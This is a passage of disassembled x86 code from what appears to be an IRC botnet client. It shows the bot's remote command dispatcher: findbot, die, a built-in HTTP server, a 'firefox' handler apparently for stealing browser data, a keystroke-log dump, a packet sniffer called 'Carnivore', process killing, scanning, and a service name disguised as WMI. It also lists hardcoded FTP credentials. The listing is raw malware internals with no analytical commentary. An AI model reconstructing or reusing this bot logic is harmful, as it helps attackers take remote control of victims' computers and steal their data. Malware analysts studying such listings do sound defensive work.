loc_4026FC:				; CODE XREF: sub_40198E+D53j
		push	esi
		call	sub_4012BA
		pop	ecx


loc_402703:				; CODE XREF: sub_40198E+D4Ej
		push	[ebp+var_8]
		push	offset aFindbot	; "findbot"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402E9E
		cmp	[ebp+var_10], ebx
		jnz	short loc_402738
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 10h


loc_402738:				; CODE XREF: sub_40198E+D8Fj
		push	esi
		call	sub_40151D


loc_40273E:				; CODE XREF: sub_40198E+1DDDj
					; sub_40198E+200Cj
		pop	ecx
		jmp	loc_402660
; ---------------------------------------------------------------------------


loc_402744:				; CODE XREF: sub_40198E+D06j
		cmp	[ebp+var_10], ebx
		jnz	short loc_4026CB
		lea	eax, [ebp+var_814]
		push	offset aCouldnTFindKey ; "Couldn't find Key"
		push	eax
		call	sub_40D6BB
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 18h
		jmp	loc_4026CB
; ---------------------------------------------------------------------------


loc_402778:				; CODE XREF: sub_40198E+CEEj
		push	[ebp+var_8]
		push	offset aDie	; "die"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4027AA
		push	[ebp+var_B4]
		push	offset a332	; "332"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4026CB
		jmp	loc_402E98
; ---------------------------------------------------------------------------


loc_4027AA:				; CODE XREF: sub_40198E+DFBj
		push	[ebp+var_8]
		push	offset aLogout	; "logout"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40283A
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], 3


loc_4027CA:				; CODE XREF: sub_40198E+EA5j
		push	[ebp+var_B8]
		push	[ebp+var_C]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402829
		mov	eax, [ebp+var_C]
		mov	[eax], bl
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aUserSLoggedO_0 ; "user %s logged out.\r\n"
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_10], ebx
		jnz	short loc_40281C
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 10h


loc_40281C:				; CODE XREF: sub_40198E+E73j
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		pop	ecx


loc_402829:				; CODE XREF: sub_40198E+E4Ej
		add	[ebp+var_C], 80h
		dec	[ebp+var_18]
		jnz	short loc_4027CA
		jmp	loc_4026CB
; ---------------------------------------------------------------------------


loc_40283A:				; CODE XREF: sub_40198E+E2Dj
		push	[ebp+var_8]
		push	offset aGftp	; "gftp"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4028B3
		push	offset aSvchost_exe ; "svchost.exe"
		push	offset aPassword ; "password"
		push	offset aMircosoft ; "mircosoft"
		push	dword_41E264
		mov	esi, 400h
		push	offset aMs_microsoft_c ; "ms.microsoft.com"
		push	offset aCftpServerSPor ; "CFTP server: %s, port: %d, user: %s, pa"...
		lea	eax, [ebp+var_814]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 20h
		cmp	[ebp+var_10], ebx
		jnz	short loc_4028A0
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_41E1A8
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 10h


loc_4028A0:				; CODE XREF: sub_40198E+EF6j
		push	esi
		lea	eax, [ebp+var_814]
		push	ebx
		push	eax
		call	sub_40D7B0
		jmp	loc_402B81
; ---------------------------------------------------------------------------


loc_4028B3:				; CODE XREF: sub_40198E+EBDj
		push	[ebp+var_8]
		push	offset aR_e_c_o_n_n_e_ ; "R.e.c.o.n.n.e.c.t"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4028DC
		push	offset aQuitReconnecti ; "QUIT :reconnecting"
		push	[ebp+arg_4]
		call	sub_4016B8
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	loc_401C35
; ---------------------------------------------------------------------------


loc_4028DC:				; CODE XREF: sub_40198E+F36j
		push	[ebp+var_8]
		push	offset aD_i_s_c_o_n_n_ ; "d.i.s.c.o.n.n.e.c.t"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402906
		push	offset aQuitLater_0 ; "QUIT :later"
		push	[ebp+arg_4]
		call	sub_4016B8
		pop	ecx
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_401C35
; ---------------------------------------------------------------------------


loc_402906:				; CODE XREF: sub_40198E+F5Fj
		push	[ebp+var_8]
		push	offset aLeave	; "leave"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402962
		mov	edi, [ebp+edi+var_B4]
		cmp	edi, ebx
		jnz	short loc_402935
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_4016B8
		pop	ecx
		pop	ecx
		jmp	short loc_40295A
; ---------------------------------------------------------------------------


loc_402935:				; CODE XREF: sub_40198E+F94j
		cmp	[ebp+var_14], ebx
		jz	short loc_40295A
		push	edi
		push	[ebp+var_14]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40295A
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40170D
		add	esp, 0Ch


loc_40295A:				; CODE XREF: sub_40198E+FA5j
					; sub_40198E+FAAj ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_401C35
; ---------------------------------------------------------------------------


loc_402962:				; CODE XREF: sub_40198E+F89j
		push	[ebp+var_8]
		push	offset aHttp	; "http"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402B1A
		mov	esi, [ebp+edi+var_B4]
		cmp	esi, ebx
		jz	short loc_402998
		push	esi
		call	sub_40E0C8
		test	eax, eax
		pop	ecx
		jz	short loc_402998
		push	esi
		call	sub_40E0C8
		pop	ecx
		jmp	short loc_40299D
; ---------------------------------------------------------------------------


loc_402998:				; CODE XREF: sub_40198E+FF4j
					; sub_40198E+FFFj
		mov	eax, dword_41E178


loc_40299D:				; CODE XREF: sub_40198E+1008j
		mov	edi, [ebp+edi+var_B0]
		mov	[ebp+var_834], eax
		xor	eax, eax
		cmp	[ebp+var_3B0], bl
		setz	al
		cmp	edi, ebx
		mov	[ebp+var_820], eax
		jz	short loc_4029D0
		lea	eax, [ebp+var_938]
		push	edi
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx
		jmp	short loc_4029FB
; ---------------------------------------------------------------------------


loc_4029D0:				; CODE XREF: sub_40198E+102Fj
		push	104h
		lea	eax, [ebp+var_1F4]
		push	eax
		call	dword_4190B4	; GetSystemDirectoryA
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1F4]
		push	eax
		call	sub_40DEA4
		add	esp, 14h


loc_4029FB:				; CODE XREF: sub_40198E+1040j
		lea	eax, [ebp+var_938]
		push	eax
		call	sub_40D630
		cmp	[ebp+eax+var_939], 5Ch
		pop	ecx
		jnz	short loc_402A26
		lea	eax, [ebp+var_938]
		push	eax
		call	sub_40D630
		pop	ecx
		mov	[ebp+eax+var_939], bl


loc_402A26:				; CODE XREF: sub_40198E+1082j
		push	[ebp+var_B0]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_BC0]
		push	80h
		push	eax
		mov	[ebp+var_BC4], esi
		call	sub_40DFEC
		mov	eax, [ebp+var_4]
		mov	edi, [ebp+var_10]
		add	esp, 0Ch
		mov	[ebp+var_828], eax
		lea	eax, [ebp+var_938]
		push	eax
		push	[ebp+var_834]
		mov	[ebp+var_824], edi
		push	esi
		call	sub_408CE6
		pop	ecx
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aServerListenin ; "Server listening on IP: http://%s:%d,	D"...
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_814]
		push	2
		push	eax
		call	sub_40A83B
		add	esp, 20h
		mov	[ebp+var_82C], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_BC4]
		push	eax
		push	offset sub_4077DC
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_82C]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_402B10
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aFailedToStartS ; "Failed to start server thread, error:	<"...
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch


loc_402AE3:				; CODE XREF: sub_40198E+118Aj
		cmp	edi, ebx
		jnz	short loc_402B00
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	esi


loc_402AF8:				; CODE XREF: sub_40198E+17F9j
		call	sub_4017B6


loc_402AFD:				; CODE XREF: sub_40198E+747j
		add	esp, 10h


loc_402B00:				; CODE XREF: sub_40198E+5B0j
					; sub_40198E+1157j ...
		xor	esi, esi
		inc	esi
		jmp	loc_40325F
; ---------------------------------------------------------------------------


loc_402B08:				; CODE XREF: sub_40198E+1188j
		push	32h
		call	dword_419060	; Sleep


loc_402B10:				; CODE XREF: sub_40198E+1138j
		cmp	[ebp+var_818], ebx
		jz	short loc_402B08
		jmp	short loc_402AE3
; ---------------------------------------------------------------------------


loc_402B1A:				; CODE XREF: sub_40198E+FE5j
		push	[ebp+var_8]
		push	offset aHttpstop ; "httpstop"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402B54
		push	[ebp+edi+var_B4]
		push	2
		push	offset aServer	; "Server"
		push	offset dword_419A78
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		jmp	loc_402ED1
; ---------------------------------------------------------------------------


loc_402B54:				; CODE XREF: sub_40198E+119Dj
		push	[ebp+var_8]
		push	offset aFirefox	; "firefox"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402B89
		cmp	dword_4C47E0, ebx
		jz	loc_401C32
		push	[ebp+var_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4069DE


loc_402B81:				; CODE XREF: sub_40198E+47Cj
					; sub_40198E+F20j
		add	esp, 0Ch
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_402B89:				; CODE XREF: sub_40198E+11D7j
		push	[ebp+var_8]
		push	offset aInfo	; "info"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402C2B
		or	[ebp+var_C], 0FFFFFFFFh
		call	dword_4190A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+edi+var_B4]
		cmp	eax, ebx
		jz	short loc_402BCB
		push	eax
		call	sub_40E0C8
		pop	ecx
		mov	[ebp+var_C], eax


loc_402BCB:				; CODE XREF: sub_40198E+1231j
		mov	eax, [ebp+var_18]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, [ebp+var_C]
		jnb	short loc_402BE6
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	loc_4026CB


loc_402BE6:				; CODE XREF: sub_40198E+124Cj
		push	ebx
		call	sub_40A5BD
		push	eax
		push	offset aWmiPerformance ; "WMI Performance Adapter Services"
		push	offset aWmiapsrvs_exe ;	"wmiapsrvs.exe"
		push	offset aBawha	; "bawha"
		lea	eax, [ebp+var_814]
		push	offset dword_419A10
		push	eax
		call	sub_40D6BB
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 2Ch
		jmp	loc_4026CB
; ---------------------------------------------------------------------------


loc_402C2B:				; CODE XREF: sub_40198E+120Cj
		push	[ebp+var_8]
		push	offset aT	; "t"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402D2F
		push	[ebp+var_B0]
		lea	eax, [ebp+var_184]
		push	80h
		push	eax
		call	sub_40DFEC
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+edi+var_B4]
		mov	[ebp+var_188], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FC], eax
		mov	eax, [ebp+var_10]
		add	esp, 0Ch
		cmp	edi, ebx
		mov	[ebp+var_F8], eax
		jz	short loc_402C9C
		push	offset aSub	; "sub"
		push	edi
		call	sub_40D720
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_100], eax
		jmp	short loc_402CA2
; ---------------------------------------------------------------------------


loc_402C9C:				; CODE XREF: sub_40198E+12F2j
		mov	[ebp+var_100], ebx


loc_402CA2:				; CODE XREF: sub_40198E+130Cj
		lea	eax, [ebp+var_814]
		push	offset aListThreads_ ; "List threads."
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_814]
		push	0Dh
		push	eax
		call	sub_40A83B
		add	esp, 14h
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_188]
		push	eax
		push	offset sub_40AB1A
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_104]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_402D25
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aFailedToStartL ; "Failed to start list thread, error: <%d"...
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch


loc_402D15:				; CODE XREF: sub_40198E+139Fj
					; sub_40198E+1847j ...
		mov	esi, [ebp+arg_24]
		jmp	loc_40325F
; ---------------------------------------------------------------------------


loc_402D1D:				; CODE XREF: sub_40198E+139Dj
		push	32h
		call	dword_419060	; Sleep


loc_402D25:				; CODE XREF: sub_40198E+136Aj
		cmp	[ebp+var_F4], ebx
		jz	short loc_402D1D
		jmp	short loc_402D15
; ---------------------------------------------------------------------------


loc_402D2F:				; CODE XREF: sub_40198E+12AEj
		push	[ebp+var_8]
		push	offset aPst	; "pst"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402DA1
		push	[ebp+var_B0]
		lea	eax, [ebp+var_170]
		push	eax
		mov	[ebp+var_174], esi
		call	sub_40D8A0
		cmp	[ebp+var_10], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_402D79
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_41E1A8
		push	esi
		call	sub_4017B6
		add	esp, 10h


loc_402D79:				; CODE XREF: sub_40198E+13D1j
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		pop	ecx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_174]
		push	eax
		push	offset loc_409772
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		jmp	loc_4026CB
; ---------------------------------------------------------------------------


loc_402DA1:				; CODE XREF: sub_40198E+13B2j
		push	[ebp+var_8]
		push	offset aLog	; "log"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402DEA
		mov	[ebp+var_C], offset dword_4B98E0


loc_402DBB:				; CODE XREF: sub_40198E+1455j
		mov	eax, [ebp+var_C]
		cmp	[eax], bl
		jz	short loc_402DD5
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 10h


loc_402DD5:				; CODE XREF: sub_40198E+1432j
		add	[ebp+var_C], 80h
		cmp	[ebp+var_C], offset dword_4BD8E0
		jl	short loc_402DBB
		jmp	loc_4026CB
; ---------------------------------------------------------------------------


loc_402DEA:				; CODE XREF: sub_40198E+1424j
		push	[ebp+var_8]
		push	offset aSystem	; "system"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402E28
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	esi
		push	[ebp+arg_1C]
		push	eax
		call	sub_40A610
		add	esp, 0Ch
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 10h
		jmp	loc_4026CB
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_40198E+146Dj
		push	[ebp+var_8]
		push	offset aDriver	; "driver"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402E58
		push	[ebp+edi+var_B4]
		push	[ebp+var_4]
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_405E21
		jmp	loc_404159
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_40198E+14ABj
		push	[ebp+var_8]
		push	offset asc_4193EC ; ""
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4026CB
		cmp	[ebp+var_10], ebx
		jnz	short loc_402E8D
		push	[ebp+var_4]
		push	offset aGoinToHellD ; "Goin TO Hell :D"
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 10h


loc_402E8D:				; CODE XREF: sub_40198E+14E4j
		call	sub_408B66
		call	dword_419244	; WSACleanup


loc_402E98:				; CODE XREF: sub_40198E+E17j
		push	ebx
		call	sub_40DE64


loc_402E9E:				; CODE XREF: sub_40198E+D86j
		push	[ebp+var_8]
		push	offset aStop	; "stop"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402EDE
		push	[ebp+edi+var_B4]
		push	3
		push	offset aScan	; "Scan"
		push	offset aScanner	; "Scanner"
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_B0]
		push	esi


loc_402ED1:				; CODE XREF: sub_40198E+11C1j
		call	sub_40AA51


loc_402ED6:				; CODE XREF: sub_40198E+510j
		add	esp, 20h
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_402EDE:				; CODE XREF: sub_40198E+1521j
		push	[ebp+var_8]
		push	offset aProcs	; "procs"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40300E
		push	0Ch
		call	sub_40AA32
		test	eax, eax
		pop	ecx
		jle	short loc_402F23
		cmp	[ebp+var_10], ebx
		jnz	loc_401C32
		push	[ebp+var_4]
		push	offset aAlreadyRunning ; "Already running."
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		jmp	loc_404159
; ---------------------------------------------------------------------------


loc_402F23:				; CODE XREF: sub_40198E+1571j
		push	[ebp+var_B0]
		lea	eax, [ebp+var_184]
		push	80h
		push	eax
		call	sub_40DFEC
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FC], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+edi+var_B4]
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_188], esi
		mov	[ebp+var_100], ebx
		jz	short loc_402F81
		push	eax
		push	offset aFull	; "full"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402F81
		mov	[ebp+var_100], 1


loc_402F81:				; CODE XREF: sub_40198E+15D6j
					; sub_40198E+15E7j
		lea	eax, [ebp+var_814]
		push	offset aProccessList_ ;	"Proccess list."
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_814]
		push	0Ch
		push	eax
		call	sub_40A83B
		add	esp, 14h
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_188]
		push	eax
		push	offset sub_409650
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_104]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_403001
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aFailedToStar_0 ; "Failed to start listing thread, error: "...
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		jmp	loc_4046CF
; ---------------------------------------------------------------------------


loc_402FF9:				; CODE XREF: sub_40198E+1679j
		push	32h
		call	dword_419060	; Sleep


loc_403001:				; CODE XREF: sub_40198E+1649j
		cmp	[ebp+var_F4], ebx
		jz	short loc_402FF9
		jmp	loc_4046CF
; ---------------------------------------------------------------------------


loc_40300E:				; CODE XREF: sub_40198E+1561j
		mov	esi, [ebp+var_1C]
		mov	edi, [ebp+esi+var_B4]
		cmp	edi, ebx
		mov	[ebp+var_C], edi
		jz	loc_401C32
		push	[ebp+var_8]
		push	offset aSn	; "sn"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40318C
		push	edi
		push	offset aOn	; "on"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403131
		push	7
		call	sub_40AA32
		test	eax, eax
		pop	ecx
		jle	short loc_403065
		push	offset aAlreadyRunning ; "Already running."
		jmp	loc_40315D
; ---------------------------------------------------------------------------


loc_403065:				; CODE XREF: sub_40198E+16CBj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FC], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+esi+var_B0]
		cmp	eax, ebx
		jnz	short loc_4030A9
		push	offset word_41994E
		mov	esi, offset dword_41E19C
		push	esi
		call	sub_40D720
		pop	ecx
		test	eax, eax
		mov	eax, [ebp+var_B0]
		pop	ecx
		jz	short loc_4030A9
		mov	eax, esi


loc_4030A9:				; CODE XREF: sub_40198E+16FBj
					; sub_40198E+1717j
		push	eax
		lea	eax, [ebp+var_180]
		push	80h
		push	eax
		call	sub_40DFEC
		push	ebx
		lea	eax, [ebp+var_814]
		push	7
		push	eax
		call	sub_40A83B
		add	esp, 18h
		mov	[ebp+var_100], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_184]
		push	eax
		push	offset sub_40A29B
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_100]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_403127
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		push	offset aFailedToStar_1 ; "Failed to start Shit thread, error: <%d"...


loc_40310E:				; CODE XREF: sub_40198E+17C8j
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		jmp	short loc_40316B
; ---------------------------------------------------------------------------


loc_40311F:				; CODE XREF: sub_40198E+179Fj
		push	32h
		call	dword_419060	; Sleep


loc_403127:				; CODE XREF: sub_40198E+1772j
		cmp	[ebp+var_F4], ebx
		jz	short loc_40311F
		jmp	short loc_40316B
; ---------------------------------------------------------------------------


loc_403131:				; CODE XREF: sub_40198E+16BBj
		push	edi
		push	offset aOff	; "off"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40316B
		push	ebx
		push	7
		call	sub_40A9E5
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jle	short loc_403158
		push	eax
		push	offset aCarnivoreStopp ; "Carnivore stopped. (%d thread(s) stoppe"...
		jmp	short loc_40310E
; ---------------------------------------------------------------------------


loc_403158:				; CODE XREF: sub_40198E+17C0j
		push	offset aNoShitThreadFo ; "No Shit thread found."


loc_40315D:				; CODE XREF: sub_40198E+16D2j
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx


loc_40316B:				; CODE XREF: sub_40198E+178Fj
					; sub_40198E+17A1j ...
		cmp	[ebp+var_10], ebx
		jnz	loc_402B00
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		jmp	loc_402AF8
; ---------------------------------------------------------------------------


loc_40318C:				; CODE XREF: sub_40198E+16A6j
		push	[ebp+var_8]
		push	offset aKillproc ; "killproc"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4031FB
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_409427
		add	esp, 18h
		cmp	eax, 1
		push	edi
		lea	eax, [ebp+var_814]
		jnz	short loc_4031C4
		push	offset aProcessKilledS ; "Process killed: %s"
		jmp	short loc_4031C9
; ---------------------------------------------------------------------------


loc_4031C4:				; CODE XREF: sub_40198E+182Dj
		push	offset aFailedToKiProc ; "Failed to ki|| process: %s"


loc_4031C9:				; CODE XREF: sub_40198E+1834j
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_10], ebx
		jnz	loc_402D15
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 10h
		jmp	loc_402D15
; ---------------------------------------------------------------------------


loc_4031FB:				; CODE XREF: sub_40198E+180Fj
		push	[ebp+var_8]
		push	offset aKillid	; "killid"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403273
		push	edi
		call	sub_40E0C8
		push	eax
		call	sub_409718
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		cmp	eax, esi
		push	edi
		lea	eax, [ebp+var_814]
		jnz	short loc_403231
		push	offset aProcessKilledI ; "Process killed ID: %s"
		jmp	short loc_403236
; ---------------------------------------------------------------------------


loc_403231:				; CODE XREF: sub_40198E+189Aj
		push	offset aFailedToKiPr_0 ; "Failed to ki|| process ID: %s"


loc_403236:				; CODE XREF: sub_40198E+18A1j
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_10], ebx
		jnz	short loc_40325F
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 10h


loc_40325F:				; CODE XREF: sub_40198E+1175j
					; sub_40198E+138Aj ...
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		pop	ecx
		mov	eax, esi
		jmp	loc_401C35
; ---------------------------------------------------------------------------


loc_403273:				; CODE XREF: sub_40198E+187Ej
		push	[ebp+var_8]
		push	offset aFind	; "FIND"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4036CF
		push	[ebp+arg_4]
		call	sub_408CE6
		push	eax
		call	sub_408D3F
		test	al, al
		pop	ecx
		pop	ecx
		jz	short loc_4032C0
		push	[ebp+var_B0]
		mov	edi, offset dword_41E194
		push	edi
		call	dword_4190A4	; lstrcmpi
		test	eax, eax
		jz	short loc_4032C0
		cmp	[ebp+var_3A0], bl
		jnz	loc_404148


loc_4032C0:				; CODE XREF: sub_40198E+190Ej
					; sub_40198E+1924j
		mov	al, byte_41E312
		cmp	al, bl
		mov	edx, offset byte_41E312
		jz	loc_401C32
		mov	ecx, edx


loc_4032D4:				; CODE XREF: sub_40198E+194Bj
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4032D4
		cmp	al, bl
		jz	loc_401C32
		mov	[ebp+var_1C], edx


loc_4032E6:				; CODE XREF: sub_40198E+1D1Aj
		push	3
		pop	edi
		push	edi
		call	sub_40AA32
		push	[ebp+var_C]
		mov	esi, eax
		call	sub_40E0C8
		add	eax, esi
		cmp	eax, 0A0h
		pop	ecx
		pop	ecx
		jle	short loc_403335
		lea	eax, [ebp+var_814]
		push	offset aTooManySpecifi ; "Too many specified."
		push	eax
		call	sub_40D6BB
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 18h
		jmp	loc_40369F
; ---------------------------------------------------------------------------


loc_403335:				; CODE XREF: sub_40198E+1974j
		push	[ebp+var_C]
		call	sub_40E0C8
		or	[ebp+var_10C], 0FFFFFFFFh
		xor	esi, esi
		cmp	dword_41EE78, ebx
		pop	ecx
		mov	[ebp+var_110], eax
		mov	[ebp+var_124], edi
		mov	[ebp+var_120], ebx
		jz	short loc_40339D
		mov	edi, offset dword_41EE78


loc_403366:				; CODE XREF: sub_40198E+19F4j
		mov	eax, [ebp+var_1C]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403386
		add	edi, 3Ch
		inc	esi
		cmp	[edi], ebx
		jnz	short loc_403366
		jmp	short loc_40339D
; ---------------------------------------------------------------------------


loc_403386:				; CODE XREF: sub_40198E+19ECj
		mov	eax, esi
		imul	eax, 3Ch
		mov	eax, dword_41EE78[eax]
		mov	[ebp+var_128], eax
		mov	[ebp+var_10C], esi


loc_40339D:				; CODE XREF: sub_40198E+19D1j
					; sub_40198E+19F6j
		cmp	[ebp+var_128], ebx
		jz	loc_4036C5
		cmp	[ebp+var_3B3], bl
		jnz	short loc_4033D5
		cmp	[ebp+var_3B2], bl
		jnz	short loc_4033D5
		cmp	[ebp+var_3A2], bl
